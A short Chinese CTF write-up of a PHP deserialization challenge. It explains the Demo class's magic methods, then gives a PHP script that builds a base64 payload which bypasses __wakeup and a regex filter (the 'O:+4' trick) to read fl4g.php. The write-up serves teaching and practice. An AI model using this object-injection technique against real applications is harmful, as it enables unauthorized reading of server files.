分析代码,由一个Demo类和if语句组成
分析Demo类中的代码
![A1F1{9]K[(YS9N(X4S7R@V.png
里面有一个私有变量file和3个魔术方法。
__construct():在一个对象建立时调用
本题中的功能:调用时修改file的值
__destruct():一个对象销毁时调用
本题中的功能:调用时在屏幕中输出file函数中文件的代码
__wakeup():一个对象被反序列化时调用
本题中的功能:将file函数的值更改为index.php
if语句功能
get方式接收var的值并进行base64解码。对var中的值进行正则匹配,值中含有o:数字或者C:数字(o和c不区分大小写)这种形式的字符串,就会输出stop hacking,否则的话就对var进行反序列化操作。
解题思路
看到魔术方法__wakeup(),可以设置成员属性数目大于实际数目来绕过wakeup()
将demo中的$file值设为flag.php并对其进行序列化操作得到$a=O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}
利用语句**strreplace(‘O:4:”Demo”:1:’,‘O:+4:”Demo”:3:’,$a**);绕过正则和__wakeup方法。
之后将其进行base64编码上传得到flag。
****
注:因为私有变量在序列化之后里面有不可见字符,所以一切操作都要靠php代码完成
php代码:
<?php
class Demo {
private $file=’fl4g.php’;
}
$a=new Demo();
$a=serialize($a);
$a=str_replace(‘O:4:”Demo”:1:’,’O:+4:”Demo”:3:’,$a);
$a=base64_encode($a);
echo $a;
?>